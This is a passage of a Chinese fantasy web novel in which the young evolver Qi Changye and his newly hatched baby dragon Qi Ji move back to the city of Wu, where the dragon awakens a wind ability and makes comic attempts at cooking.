“好。”祈长夜才平静地冒出一个字。 小祈霁有点幽怨地摆摆尾巴，恰巧捕捉到了那双乌黑眼眸一闪而过的浅淡笑意。 “……” 小龙呆住了。 哥哥真好看。 喜欢。 那点小幽怨随着风呼啦一下飘散，小祈霁仰起脑袋，一眨不眨地看着祈长夜，祈长夜也垂着眼睫，安静地看着它。 一人一龙你看看我，我看看你，最后，小龙啪叽一下，软乎乎地打起了滚。 通讯器响起，一道光屏浮出，边框是滚动的金色。 ——在乌城，金色边框的通话是无法拒绝的最高等级通讯。那意味着通话的发起方，来自议事厅十二座席。 小祈霁很不开心地扭头，往前一扑，穿过光屏。祈长夜接住它，波澜不惊地接受了通话。 光屏闪烁一下，首先呈现的画面，是明净的窗畔。 落地窗，宽敞的办公室，洁白花瓶间，盛开一株深蓝色的玫瑰。 浅蓝服饰的英俊男人坐在落地窗前，梳得齐整的乌黑发丝之下，是一双深邃的纯黑眼眸。 “好久不见，长夜。” 男人的嗓音成熟而磁性，像优雅奏鸣的琴弦。 “好久不见，”祈长夜平静回应，“明先生。” 这一刻，两双相似的乌黑眼眸，目光相对。 如果有其他进化者在场，一定会因为他们这番对话而惊掉下巴，因为此刻，光屏里的不是别人，正是乌城十二座席中的第三坐席，那位大名鼎鼎的明蓝阁下。 如此高规格的一场通话，就在这片荒野上，随意地发生了。 “谢荇的事情，我知道了。” 明蓝的手边还有一支脱帽的钢笔，桌上摆着处理到一半的文件，显然是临时发起的通话。 “无论他做了什么，你留了他一命，算我欠你一个人情。” “既然如此，我有一个请求。” 祈长夜的语气干脆利落，像是他早就预料到了这场通话，早就预料到了这个结果。 明蓝神情不见意外：“说吧。” “我要回乌城。” 又是斩钉截铁的一句话，小祈霁再次抬头，看着祈长夜冷静沉着的侧脸，眨眨龙瞳，没说什么。 明蓝肩膀微微前倾，一双眼睛，像是锐利的刀锋，几乎要穿透光屏。 “三年前，你告诉我，你要离开乌城，天涯海角，随便哪里，都是你的流放之地。” “现在，为什么改变了想法？” 祈长夜迎上那直面的刀锋，眉梢眼角，波澜不惊：“承蒙有人时隔三年还惦记我，我不回去，恐怕辜负了他们的好意。” “哦？是吗？” 明蓝乌黑的眼眸撤去锋锐，片刻后，浮出了几分饶有兴致的意外。 “你变了，变得锋利，变得一往无前。”他的手指轻敲桌面，“我很期待，你的回归，让乌城再次天翻地覆。” 他的手腕向前，似要关闭通话，却又在结束的前一秒开口：“对了，你手上的那块煤炭是什么，去挖煤了？” 小祈霁：“？” “这是祈霁。” 祈长夜举起小龙。 “我的家人。” 小祈霁：“！” 小龙的尾巴一下子翘得高高的，骄傲地扬起下颌。 明蓝打量两秒，不置一词，光屏随即熄灭。 小祈霁依然很开心，悬在半空的尾巴飞快甩来甩去，黏糊糊地勾搭上祈长夜的手腕。 “我们要搬新家了。” 小祈霁：“嗷！” 【哥哥身边，就是我的家！】 祈长夜晃晃小龙：“有个问题。” “叭？” “为什么你说人话的时候，还要说龙语？” “叭叭！” 【因为我还不会说话呀，只能和哥哥精神交流】 少年的声音甜甜的。 【我多说一点，哥哥会多喜欢我一点嘛？】 祈长夜心道难怪，除他以外的所有人，都听不见少年的声音。 小祈霁跳到他的肩上，嗷嗷嗷。 【我多说一点，哥哥会多喜欢我一点嘛！】 大声重复一遍，大声重复两遍。 祈长夜看着这只叭叭小龙，眼睫柔和：“会。” 小祈霁心满意足，又很骄傲地昂起脑壳，神采飞扬。 今天哥哥又多喜欢了我一点！ 开心！ 荒野微风，拂过祈长夜的乌发，流转在那双冰雪消融的眼眸之间。 他的眼中映出一只小龙，虽然还没有巴掌大，但，迟早有一天，这只幼崽会长大，就和深渊之底的巨龙一样庞大。 注定要翱翔于天的龙，注定会万众瞩目——然而，属于旧地球时代的龙，也会承受来自这个时代的恶意。 所以，这才是他选择回到乌城的原因。 ——回去，成为他们的恐惧。 任何想要觊觎祈霁的恶意，都要先忌惮他。任何想要对准祈霁的刀锋，都要先畏惧他。 他会成为天空，荫蔽还不会飞的小龙。 一只浮空的小龙晃晃悠悠，飘过祈长夜眼前。 祈长夜：“……” 已经会飞了。 突然解锁新技能的小祈霁非常惊喜地在空中飘来飘去，对着哥哥“啾啾啾”。 【哥哥看我！哥哥看我！】 “看到了。” 祈长夜的手掌虚虚托在小祈霁下方：“这也是你的新能力吗？” “嗷呜！” 小龙蹬蹬小爪爪，往上蹿蹿，试图再飞得高一点。 飞不高，最多只能往上蹭个十几厘米。 如果不是从祈长夜肩膀上起飞，这只小龙应该只能超低空飞行。 不过，相比于之前的走地龙，现在是走地龙超进化——气球龙！ 喜出望外的小祈霁围着祈长夜，飘了一圈又一圈，好像一只开屏的小孔雀，不停抖落尾羽。 祈长夜有点担心他的小龙会忽然掉下来，于是转身，向塔台走去。 柔软的毛线，一头松松地圈住小龙爪子，一头系在他的指间。 小龙高高低低地飘着，因为有了连接哥哥的丝线，所以根本不惧坠落。 芙洛城外，安德森医生正沿着城墙散步。 偶遇祈长夜，他眯了下眼睛：“你——” “没去深渊，没做任务。”祈长夜说，“医生再见。” 安德森：“……等等，你旁边的那个是什么？” 祈长夜：“祈球。” 然后牵着飘飘悠悠的小龙走了。 安德森：“？” 啥？ 啥玩意就这么飘过去了？？ 20-30 第二十一章 偷偷暗鲨 暖调的灯光撒满玄关, 隔绝屋外的寒冷。 “呜啦！” 小祈霁飞到了客厅里。 飘了一路的小龙，已经能肚皮朝上，倒着飞了。 祈长夜观赏了一会小龙倒飞的奇景, 点评了一句：“去海鲜柜台, 能打半折。” 小祈霁逆时针飞飞, 顺时针飞飞, 晃晃悠悠, 又落回他的肩上。 累啦。 哥哥抱抱。 祈长夜抱起这只软趴趴摇尾巴的小龙，走向浴室。 温热的水流淌过，乌漆嘛黑的小煤球很快变成白白净净的干净小龙。 抖一抖水花, 尾巴尖尖的鳞片一闪一闪, 在爪爪形状的专用小浴盆里游来游去。 游到哥哥手里, 被他捧了起来, 下面的小浴盆变成了大浴缸。 “……” 被放到浴缸上的小祈霁似乎有点呆呆的，水温好像有点烫爪，噼里啪啦扑腾一下水花。 祈长夜刚刚解开衣服，回头，就见他的小龙咕噜噜沉底了。 “？” 他迅速捞起小龙, 晃一晃。 小祈霁并没有事，只是睁着水亮亮的龙瞳，偷瞄他一眼。 飞快扭开小脑袋。 祈长夜不明所以, 松开手, 小祈霁又咕噜噜沉底了。 他观察了片刻, 发现这只小龙好像很喜欢在水下面潜泳。 等他沉入浴缸，潜泳的小龙哗啦一下蹿上水面, 溅起小水花。 第一次和哥哥一起泡澡的小祈霁，似乎有点紧张, 缩成一小团，黏在浴缸边缘。 假装自己是团空气。 过了一会，这只小龙悄悄漂过来，贴住哥哥手臂。 又过一会，小爪爪划水，游到哥哥面前，贴住他心口的位置。 祈长夜用手指逗逗它，弄出一片水花，引得活泼的小龙到处追逐。 再过一会，小祈霁就完全放松下来，在浴缸里到处划水玩了。 温暖的浴缸，水声轻缓，身边的小龙在旋转着游泳，是没见过的奇怪姿势。 祈长夜轻轻阖眼。 小祈霁游了一会，扭头。 清隽疏离的年轻男子单手撑着侧脸，眼睫晕开湿润的鸦色，水珠滑过薄白美丽的侧脸。 那双浅金色的龙瞳微微定格。 为了找它，哥哥耗费了很多力量。 小祈霁游过去，爪子拍拍，溅起一点水花。 【哥哥，哥哥？】 少年的声音在耳畔响起，祈长夜眼睫微动，微微睁开困倦的眼眸。 【哥哥，这里凉，去床上睡】 小祈霁从浴缸里飞起，很快又顶着一条毛巾飞回来，扑到祈长夜头顶。 给哥哥擦擦头发。 祈长夜眼底是沉沉的乌色，好像没什么特别的反应，停顿两秒，用毛巾裹住头顶的小祈霁，揉啊揉。 “嗷？” 小祈霁从毛巾里努力挤出一个小脑袋，看看祈长夜。 【哥哥？】 祈长夜依然没说话，很快用毛巾擦干了小祈霁，松手。 扑通。 小龙又落回了水里。 “……” 它看看湿漉漉的自己，再看看漂在旁边的毛巾。 祈长夜好像终于回神，低头，对上那双眨巴眨巴的龙瞳。 ……他不是已经穿好衣服，回床上了吗？ 祈长夜后知后觉，自己好像难得地犯了一会困。把他的小龙捞起来，随手用浴巾裹一裹。 蓬松的被褥，一条小龙嗖嗖快地爬来爬去，一会从这里冒出来，一会又钻到那边，好像在和哥哥玩捉迷藏。 左边的被子鼓起一小块，祈长夜按住。 掀开被角，里面的小祈霁开心地冲他摇尾巴。 抓到我啦。 祈长夜：“嗯，抓到了。” 小祈霁晃晃悠悠地飞起来，啪，关掉床头灯。 飞回来，软软地扑到哥哥脸上，被那只修长的手温柔地托起，掖了掖被角。 “啾啾。” “晚安。” 从深渊回来的第一个夜晚，没有纠缠至梦中的寒意，只有一片安宁。 第二天，祈长夜睁眼时，乌黑眸底还有些恍然。 小祈霁已经醒了，趴在哥哥身边，用小爪子编他的头发玩。 看那熟练的动作，不知道偷偷编了多久。 祈长夜抱起小龙，拉开窗帘，微微一顿。 太阳将至中午，午间的阳光温暖又舒适。 ……这还是记忆里的第一次，一夜长梦，睡到天光大亮。 曾经的梦魇，无数个彻夜难眠的寒夜，似乎都被午间这场暖烘烘的日光，晒淡了痕迹。 祈长夜轻轻捧起小龙，和它的视线平齐：“谢谢。” 小祈霁：“嗷？” “我的失眠，应该是好了。”祈长夜的声音清悦，“也许很快，我的病也会好的。” “嗷！” 浅金色的龙瞳弯起。 【以后，我都不会让哥哥做噩梦哒】 祈长夜的眼眸融入日光，伸手，接住小祈霁落下的小爪爪：“好。” 今天的午饭，他在厨房里待了近两个小时，投喂了小龙一堆水果后，终于端出一锅黑色的……据他所说，是海鲜粥。 “以前，有人教过我。” 淡淡地说完这话，祈长夜盛了一小碗粥，耐心吹凉，送到小祈霁嘴边。 虽然粥的表面泛着一如既往的难以言喻的颜色，但小龙还是毫不犹豫地嗷呜一口。 “！” 好喝！ 小祈霁的尾巴微微翘起，不用祈长夜喂，自己抱着小碗，开始喝粥。 祈长夜看着小龙的样子，就知道它是真的喜欢，就像喜欢小蛋糕一样。 他的目光落回自己面前的碗，拿起调羹，浅尝一口。 初入口的粥有些滚烫，但他并没有尝出来什么味道，就和那些营养剂一样。 ——直到那份热意落入腹中，他的味蕾才终于撬动了记忆，让他想起，这是三年前的味道。 那时，第一次做出的粥，一大桌人，笑着抢完。 而现在，餐桌边，一只小龙埋头，专心致志，干劲满满。 喝着粥的小祈霁忽然想起什么，“嗷”了一声。 【哥哥！】 祈长夜：“嗯。” 【为什么，每顿饭都是鱼？】 祈长夜：“还有海鲜。” 【噢】 【为什么都是海鲜呀？】 祈长夜侧过头：“你不是龙吗？” 小祈霁看看自己。 觉得很有道理。 继续埋头喝粥。 祈长夜的指腹沿着小龙脑袋摸到尾巴，心想，下顿饭换个食材吧。 队长还教过他……其他的菜谱。 —— 午饭过后，祈长夜带着小祈霁，开始收拾东西。 三年前，他从乌城来到芙洛城，孤身一人，别无他物，三年后，他也没什么必须要带走的东西。 抱起小龙，放到打包箱上。 小祈霁低头看看身下的箱子，再看看四周，明显有点不舍。 这里是它和哥哥的家。 要走啦。 “以后，我们还可以回来。”祈长夜蹲在它面前，“你喜欢的玩具，都可以带走。” 小祈霁一下子仰起脑袋：“嗷呜？” 可以全部带走嘛？ 再举起一块晶石。 还有这个！亮晶晶！ 祈长夜：“好。” 于是，要带走的东西，变成了小龙塞满地下室的玩具，平时玩玩具常躺着的小窝，一堆刚刚做好的小衣服，喜欢的糖，还有亮闪闪的晶石。 原本空荡荡的行李忽然变多，搬家也变得忙碌起来，祈长夜联系了搬家公司，揣起小龙，带它出门，去见了一些人。 “既然下定了决心，就去做吧。”城主办公室，雅歌含笑看着对面的人，“一切顺利，随时欢迎回来。” “谢谢您这些年的照顾，”祈长夜说，“没有您，我走不到今天。” 他送出了临别礼物，是一枚纯净无暇的紫色晶石。 雅歌举起晶石，随着光线变化而深浅程度不同的紫色光辉，落入她那双紫罗兰的眼眸。 “我记得这种品质的晶石，只在深渊九层以下产出，又少又贵，放到乌城最高等级的拍卖会，也会被那些家族疯抢。” 雅歌的笑意加深了。 “和我的眼睛颜色非常相称，嗯，我要把它镶嵌在我的匕首上。” 实验室，艾丽娅同样收到了一枚品质相同，和她眼睛颜色相近的绯红晶石。 “这这这！这么贵重的礼物，我怎么好意思收哇！” 然后一把拉开衣兜。 祈长夜放了进去。 艾丽娅捂住衣兜，喜笑颜开。 “一定要回来啊，常回家看看！下次就不用带什么礼物了，我会不好意思的，嘿嘿！” “对了，这个给你！” 她转身，从上锁的抽屉里，取出一盘录像带。 “之前就想给你的，但我有健忘症，现在，就当是我的临别礼物吧。” 街边的诊所，安德森皱起眉头：“怎么就要走了，你病好了？你药吃了？你的疗程做完了？” “乌城是什么地方，看病肯定很贵吧，说不定还会收黑心钱……礼物？我不要，拿回去拿回去，你自己留着去那看病。你们这些年轻人，平时不知道省钱，遇上大病就……” “等等，这是什么？深渊晶石？！你小子怎么这么有钱？！！” …… 回家的路上，小祈霁窝在祈长夜的衣兜里，拨弄一块浅色晶石。 深渊第五层开采的晶石，个头其实偏小，刚好可以被它捧在爪子里；颜色也没那么纯粹，有些许杂质，阳光底下并不怎么闪烁。 ——和祈长夜送出的那些相比，小龙拥有的晶石就像灰扑扑的石头，毫不起眼。 但小祈霁依然很喜欢。 虽然，哥哥给那些人的石头更大一点，颜色更亮……可它就是觉得，哥哥给它的，才是最好的。 一只手伸了进来，小祈霁想也不想地丢下晶石，扒住。 然后，它被哥哥抱出来，看见哥哥另一只手间，有一枚最大的明黄色晶石，纯粹无暇，耀眼光灿，像燃烧的黄金。 “暂时没找到和你眼睛相似的。”祈长夜说，“所以，这个送给你。” 小祈霁的龙瞳一下子被点亮了。 亮晶晶！ 最漂亮的亮晶晶！ 小龙往前一扑，迫不及待地抱住晶石，蹭啊蹭，浑身好像冒出许多喜悦的泡泡，撒欢地转圈圈。 “嗷呜！！” 祈长夜还是觉得那块晶石没有那么完美，说：“等以后，我再给你挑一块更好的。” 小祈霁尾巴翘得高高的，举起大大的晶石。 这个就是最好哒！ 喜欢！！ 这只小龙在祈长夜掌心里打滚，又晃晃悠悠地飞起来，抱紧晶石，飘了一圈又一圈，好像在和全世界炫耀。 啪叽，撞到哥哥怀里，蹭来蹭去。 祈长夜摸摸他的小龙。 高兴了一路的小祈霁，回到家里，还兴致高昂地坐在祈长夜腿上，抱着晶石，看着哥哥拿起一盘录像带，点击播放。 艾丽娅送的录像带，剪辑掉无关紧要的闲杂人等，画面正中央，直接出现了一颗黑漆漆，圆滚滚的蛋。 幼小的龙蛋。 小祈霁：“？” 咔嚓，咔嚓。 高清的摄像头下，黑漆漆的蛋开始摇晃，裂开一道道细缝，像是有什么东西，正要破壳而出…… 小祈霁：“？？？” 最后，一小块蛋壳被顶开，一只黏糊糊、丑兮兮的幼崽头顶蛋壳，堂堂诞生！ 小祈霁：“……” 小祈霁看呆了。 好丑。 怎么会这么丑！ 祈长夜拍拍呆住的小龙：“很可爱。” 小祈霁跳了起来，嗷嗷直叫，祈长夜就当没听见，倒退回开头，又放了一遍。 “……” 一条伸直的小龙郁闷地瘫在晶石上，过了几秒，忽然灵光一闪。 “嗷呜。” 【哥哥，想吃苹果！】 少年的声音甜甜的，祈长夜说：“好。” 他起身，将录像带退出，放到桌上，拔步去了厨房。 小祈霁立刻盯住那盘录像带，眼神幽幽。 趁哥哥不在，推下桌子，偷偷暗鲨掉。 再推进沙发缝隙里，偷偷抛尸。 非常坏。 ——几秒后，某条小龙大摇大摆地从沙发底下溜达出来。 刚好撞见站在旁边的祈长夜。 一人一龙对上视线。 “……” 小龙脑袋一歪：“啾。” 溜圆的龙瞳，软软摇晃的尾巴，单纯无辜，可可爱爱。 祈长夜毫不意外，单手拎起小龙，抖一抖它身上的灰。 精准地从沙发底下掏出录像带，包装好，用漂亮的字迹写了一行“小祈霁破壳纪念”，放进打包箱里。 飞快封好箱子，不给小龙一点可乘之机。 小祈霁：“……” 小祈霁鬼鬼祟祟地围着箱子转了一圈，趁祈长夜削苹果的时候，抬起小爪爪，飞快挠箱子。 祈长夜抬眼，看了一会，在小龙转向自己这边时，垂下视线。 小祈霁发现哥哥没有发现。 继续偷偷摸摸挠箱子。 一颗苹果慢慢吞吞地削好，祈长夜再抬眼，一只小龙乖乖坐在箱子上面，好像什么也没发生。 当然，也没能对箱子造成半点伤害。 祈长夜嘴角扬起几分，又压了下去，伸手，准备接住仰泳着飘过来的小龙—— 砰砰砰！ 门外，响起了急促的敲门声。 第二十二章 风和少年 砰砰砰！ 急促的敲门声, 打破了原本宁和的气氛。 小祈霁警觉地抬起龙瞳，飞到祈长夜肩上，稳稳坐下。 屋门打开, 门槛一道分界线, 玄关内是平静的乌黑眼眸, 门外则是一双憔悴大睁的眼睛。 是谢荇。 一天不见, 他整个人发生了翻天覆地的变化。原本顺滑的黑发枯躁打结, 眼下乌青，眼白血丝密布。 似乎，失去精神力之后, 他所有的光环都被夺走, 只剩下一具失魂落魄的空壳。 “我不进去, 只说几句话。” 像是担心祈长夜下一秒就会关门, 谢荇起皮的嘴唇开合，声音沙哑干涩。 “几句话，我就走。” 小祈霁拨弄一下自己的爪子，没什么特别反应，偏头看着祈长夜。 祈长夜投下淡淡的目光, 不发一言。 谢荇的头埋得很低：“他们说，你把我从深渊带出来，救了我一命……谢谢。” 没有回应。 “……他们还说, 你要回上城了。”谢荇盯着自己光秃的十指, “我也要回去了, 如果——” 祈长夜：“我们不顺路。” 谢荇咬紧下唇，干燥的嘴唇渗出一点血迹。 像是经历了一番明显的心理挣扎, 他挤出几个字：“小心谢家。” “谢家有人想要你的命，我不知道是谁, 但，他们不会轻易放过你的。” 留下这句话，谢荇就走了，转过去的背影一瘸一拐，似乎还伤到了腿。 咔哒。 身后一声轻响，谢荇脚步一顿，慢慢回身——只看见了那道关上的门。 他低头，双手捂住脸庞。 第二天，搬家公司提前将行李送走。 祈长夜站在玄关，目光落过空荡荡的屋子。 这是小龙来到他身边之前，家里的模样。 而现在，小龙坐在他的肩上，软软的尾巴晃啊晃。 “走吧。” “昂！” 住宅楼外，一道身影，静静地等待。 “向您问好，祈队。” 那是一个身穿蓝白制服的男人，脊背挺直，有种军刀出鞘的气质。 “我是第三席大人的副官助理，您可以叫我克里斯。” “第三席大人派我来此，接您回去。” 祈长夜：“多谢。” 克里斯面色恭敬：“直升机已经备好，您要现在出发吗？” 祈长夜回头，和小祈霁一起，再次看了眼他生活三年的地方。 然后，向前走去。 ——直升机停机坪边，还有几道熟悉的身影。 “一路顺风，到了记得发消息。”来送行的雅歌吹了声口哨。 “要去乌城啦，”艾丽娅伸手戳戳小祈霁，“我像你这么大的时候，还没去过那呢。” 小祈霁抱住祈长夜的几缕发丝，昂呜昂呜。 虽然艾丽娅听不懂这只小龙的话，但莫名看懂了它的意思。 ——我还没你这么大的时候，已经有哥哥啦。 艾丽娅：“……这对吗！” 踏上直升机前，祈长夜对雅歌说：“我走后，如果乌城来人，立刻联系我。” 雅歌微微一笑：“很妥帖嘛，放心，我可不会客气，有事肯定喊你帮忙。” 直升机掠过上空，没入茫茫云层。 小祈霁趴在舷窗边，看着高楼俯倒在它的下方，城市化为一抹抹平坦的色块。 【哥哥，飞好高】 它低头看看自己。 【我还飞不了那么高】 “没关系，”祈长夜说，“等你长大，会飞得比这还高。” 小祈霁自信满满地握住小爪子：“昂！” 第一次来到高空的小龙兴致勃勃，一直黏在舷窗上。 从高空俯瞰大地，仿佛自己也化为巨龙，翱翔于天空。 它听见了风声，一点一点，愈发清晰的风声——渐渐的，似乎真的有猎猎的风，飘旋于它的身边。 风场覆盖长空，整片天空，都是风的领域。 那双浅金色的龙瞳，忽然涌动金芒。 祈长夜微微侧首，看见他的小龙一声不吭地从舷窗跳下来。 摇摇晃晃，晃晃悠悠。 啪叽。 摔在他的腿上。 “……呜。” 哥哥，晕晕，抱抱。 祈长夜托起蔫蔫的小龙，发现它一副难受的模样，眉心纠起。 他的手指微屈，一下一下按揉，希望能让这只晕机的小龙好受起来。 “吃点这个吧。”克里斯递过来一个没拆封的药瓶，“缓解晕机的。” 祈长夜道谢，确认药没问题，给小祈霁喂下。 然而，人类的药物，对于小龙并没有什么用。 小祈霁还是蔫蔫地瘫在祈长夜腿上，伸直的一小条，写满生无可恋。 祈长夜眉心紧皱：“能不能就近找个停机的地方？” “当然可以，”克里斯一口应下，“一切以您的意愿为主。” 祈长夜轻轻捧起小龙：“再等等，很快就好了。” 小祈霁原本还在有气无力地“嗷呜”着，听到这句话，摇了摇脑袋。 不下去。 会耽误哥哥时间的。 “不会。”祈长夜说，“等你不难受了，我们再出发。” 小祈霁还想嗷呜嗷呜地说什么，被祈长夜轻轻捂住：“休息。” “……” 小龙乖乖地蜷缩在哥哥的手指底下。 哥哥落在它头顶的手指，凉凉的，很舒服，就像拂过的风。 每一下的抚摸，都让它没有那么难受。 喜欢。 它想变成一条大龙。 可以庇护哥哥，让天空都为他降落。 心声落下，风声随起。 ——小小的旋风，从小龙周围卷起。 祈长夜抬指，旋风又化作柔和的风场，穿过他的指间。 小祈霁飘了起来，浅金色的龙瞳，明亮无比。 祈长夜意识到什么，眼眸泛起柔软的涟漪。 他的小龙，觉醒了新的能力。 风。 “呜啦！” 活蹦乱跳的小龙，开始在祈长夜身边飞来飞去，乘着风，高高低低，停起自如。 从气球龙，变成了真正会飞的小龙。 还能卷起小小的风，托动果汁饮料，送到哥哥手边。 “叭！” 【哥哥，我变强啦！】 少年的声音满是欢悦，祈长夜点了点头：“嗯，很厉害。” 小祈霁嗖一下贴上他的脸庞，不停蹭啊蹭。 乘风而起，这只小龙的速度也变快了许多。 蹿来蹿去，蹿来蹿去，像一道小闪电。 啪。 一不小心，撞到哥哥怀里，软软地黏住了。 祈长夜接住小龙：“现在不难受了？” 小祈霁：“昂！” 【哥哥，我们跳下去，我带你飞！】 祈长夜揉揉那只兴奋的小脑袋：“等到了以后再试试吧。” “嗷！” 小祈霁看看他。 风卷起衣摆，小龙悄咪咪钻进了风衣内层。 祈长夜淡定地把小龙拎出来，晃一晃，让它落回自己腿上。 过了几秒，小祈霁又飘了起来，飞到他的头顶，吧唧落下。 一道视线，时有时无，隔三差五扫过来。 祈长夜转首，头顶的小龙一起扭过脑袋。 一人一龙，刚好对上克里斯还没来得及收回的眼睛。 “……祈队。” “你有话想对我说？” “是的，”克里斯脊背挺直，双拳放在腿上，“我很感谢您，我的家人也是。等到了乌城，我想请您和我的家人吃一顿饭。” 小祈霁：“？” 小龙一下子支棱起身躯，祈长夜说：“我们似乎素未谋面。” “是的，但三年前，是您杀了第十席。” 克里斯看着他的眼睛，非常认真地说。 “我有一个妹妹，三年前被那个畜生掳走，关在府邸，我曾潜入过三次，最后一次，被打断了腿，昏迷了七天。” “醒来的那天，我得到了一枚火石子弹，是我的家人花掉所有积蓄，从黑市买来的。” “我躺在床上，向幸运之神祈祷，准备在第二天的黎明再次潜入府邸，如果幸运之神眷顾我，这把枪将对准那个畜生脑袋，枪声响起，他和我总有一人，会倒在血泊里。” “然后，我的家人冲进来，大声告诉我，第十席死了，我妹妹，还有那些被掳走的人，都回来了。” “杀死第十席，点燃了那场乌城大火的，是薪火小队副队长，祈长夜。” 小祈霁慢慢趴了下来，乖乖地窝在哥哥头顶，蹭蹭他乌黑的发丝。 “不必谢我，”祈长夜平静地说，“我是为了自己。” “不必说不必谢我，”克里斯认真地说，“我们也是为了自己。” 小祈霁愉快地在祈长夜头顶翻滚，伸伸懒腰，听见克里斯的下一句话：“其实，我妹妹自从三年前，被您救下以后，就一直对您念念不忘……” 小祈霁：“？” 小祈霁嗷一下蹿了起来。 “……” 直升机落地，祈长夜默默把炸毛了一路的小龙抱下来。 “嗷呜！嗷呜！” 【哥哥不要去别人那里！我可以做饭给哥哥吃！】 【虽然，虽然我还没做过，但我做饭肯定很好吃！】 祈长夜看着只有一点点大、跳来跳去的小龙，点住它的小脑袋。 小龙不跳了，安安静静，乖乖巧巧。 祈长夜松手。 小龙又开始跳来跳去，嗷呜嗷呜，像点炸的小炮仗。 祈长夜眼尾扬起一点浅淡弧度：“好。” 他带着小龙，向前走去。 迎面的风，卷起城市的气息。 白昼之下，迭起的高楼，水晶宫殿般繁华、壮观，宛若神明亲手雕刻的杰作。 S级城市，乌拉诺斯城，上城之城。 树荫满道的街区，一栋两层小楼前，祈长夜停步。 “按照第三席大人的吩咐，您的旧居，已经打扫好了。” “对了，还有一件小事。” 临走前，克里斯像是随口提及了一句。 “谢家的那位少家主，从深渊出来后失去了部分记忆，他说自己并不记得，在九层以下的深渊看到了什么。” 祈长夜目光一动，颔首：“替我向明先生表达谢意。” 克里斯回以一礼：“还是您亲自过去吧，第三席大人说，之后想见您。” 街边的林叶轻摇，洒落和记忆中一样的树影。 光洁如新的门前，修长身影静立，沉默地听着风声。 小祈霁爬到哥哥手背上，歪了下脑袋。 “嗷？” 不进去嘛？ 祈长夜闭了下眼睛，轻轻推开那扇门。 入目，是一条长长的玄关。 空置的鞋柜和衣架，木质地板向前延伸，尽头拐角通往客厅。 宽敞的客厅，矮柜书架与羊皮沙发错落有致，手工制作的铃兰吊顶覆盖上方，枝干蜿蜒，每一朵小小的花苞，都是一盏灯。 也许以前，明耀的铃兰花灯下，曾举办过热闹的聚会。 而现在，人声随着风声一起远去，记忆中陈旧的地毯，也已换新。 祈长夜停在地毯边缘，迟迟没有踩上去。 他的手一轻，小祈霁飞了出去。 乌黑眼眸抬起，看着这只小龙在客厅里蹿来蹿去、蹿来蹿去，热闹的影子，填满客厅的空荡。 “小心，别撞到了。” “呜啦！” 啪。 小龙撞上了橱柜。 祈长夜：“……” 他踩过地毯，冲入客厅，接住落下的小龙。 小祈霁在他掌心里翻了个身，骨碌碌滚了一圈，扬起小爪爪。 【哥哥，没事，有风保护着我】 “……” 祈长夜站在熟悉的地方，看着蹦蹦跳跳的小龙，沉默片刻，轻轻地说：“谢谢。” 小祈霁歪头，假装听不懂的样子，追着自己尾巴，滴溜溜转圈。 咚。 有什么东西从橱柜上滑落下来，直直朝着小祈霁脑袋——被祈长夜截住。 那是一张镶嵌合照的相框，刚好正面朝上，撞入眼帘。 尚未褪色的照片里有七个人，站在中间的是一位身形削痩，黑发黑眸的少年。 小祈霁探头，一眼认出相框里的少年。 【哥哥，是你？】 回应小龙的是一片静默。 落尘的相框，往日的故人，一张张熟悉的脸庞，在过往的三年，曾无数次出现在他的梦里……变成，一双双血淋淋的眼睛。 在黑暗中，冷冷地注视他。 乌黑的眼眸微微颤动，下一秒，祈长夜的掌心盖住相框。 “想吃什么？” 他的神色如常，转向自己的小龙。 小祈霁与他对视，“呜嗷”一声。 都可以。 祈长夜放下相框，转身，走向另一边。 小祈霁像是随意地溜达到哥哥肩膀，往后望去。 相框中间的少年，身旁还有一个黑发绿眼的男人，长相英俊，将手搭在少年肩上，和他一起，对着镜头灿烂地笑。 浅金色的龙瞳注视片刻，毫无情绪地收回目光。 空置的厨房，放着一些新鲜食材。 祈长夜还没想好要做什么，身边忽然飘起了微风。 风缠绵地卷过他的衣摆，卷起瓷盘，卷起锅碗，卷起……菜刀。 叮叮哐哐，噼里啪啦。 小祈霁跳到祈长夜头顶，蹦来蹦去，操纵整个厨房的风场。 才一么么大的小龙，过上了努力给哥哥做饭的日子。 干得热火朝天，兴高采烈。 祈长夜站在一旁，安静地注视这一幕，眼眸落下温润的光影。 砰。 厨房炸了。 “嗷！” “……” 第二十三章 他是我弟弟 黑烟在厨房里飘啊飘, 祈长夜抢救出了一只灰头土脸的小龙。 一人一龙站在客厅，默默看着厨房。 “……啾。” 小祈霁很不解的样子，搓搓自己的小爪爪, 飞快抖一抖, 簌簌抖掉身上的灰。 明明没问题。 它都是认真地学哥哥的做法, 哪里错啦。 “也许下次, ”祈长夜指腹蹭过小龙灰扑扑的脑袋, “油可以不用洒到锅下面，煎鸡蛋要先敲壳。” 小祈霁警惕地扬起小爪子：“嗷呜！” 不准哥哥盯着别的蛋！ ——刚才，它发现哥哥一直盯着一颗白白的蛋看, 于是这只小龙恶向胆边生, 谋鲨了那颗蛋。 祈长夜无言地看着气势汹汹的小龙, 其实, 他只是想给小龙煮个鸡蛋。 他带着小祈霁走进浴室，没过多久，一只干干净净的小龙飘在哥哥身边，再次非常自信地进了厨房。 砰！ “嗷——！” “……” 来到乌城的第一顿晚餐，是简单的营养剂和水煮蔬菜。 “不要紧。”祈长夜安慰气呼呼的小龙, “你还小，以后就能学会了。” 小祈霁点点脑袋，刚刚, 它发现厨房里还有很多白白的蛋, 和它长得差不多, 但是丑丑的，没它好看。 说不定, 里面会孵出一些奇形怪状的东西，被哥哥看到。 要偷偷暗鲨掉。 从没见过鸡蛋的小龙, 敏锐地觉得那是潜在的危险，露出幽幽的眼神。 祈长夜从厨房里端出煮好的鸡蛋。 敲碎外壳，剥开，在小祈霁面前晃一晃，咬了一口。 小祈霁：“……” 小龙的眼神一下子清澈了。 无事发生地挪到哥哥手边，被哥哥喂了一口鸡蛋。 ——吃完饭，祈长夜放下筷子。 微风平地而起，卷过他的指间，卷起餐盘，送进厨房。 哗啦—— 水龙头被推开，流水声响起，在风的作用下，盘子自动洗了起来。 随风飘起的小祈霁，跳到祈长夜的掌心，得意洋洋地叉腰。 它是大龙啦。 会照顾好哥哥哒。 “嗯，”祈长夜指节屈起，蹭蹭一么么大的小龙，“非常厉害的大龙。” 小祈霁开开心心地贴住他。 啪。 一不小心，盘子碎了一个。 小祈霁：“？” “没关系，”祈长夜捏捏小龙尾巴，“我们还有很多盘子。” “不过，飞起来的时候要小心一点，别摔了。” “嗷！” 小祈霁飞到祈长夜头顶，它最近很喜欢这个位置，开心地应了一声。 夜晚的乌城，依然灯火璀璨，随处可见笙歌燕舞，将城市照得宛如白昼。 清幽夜色洒落窗畔，二楼走廊上，有星月的微光。 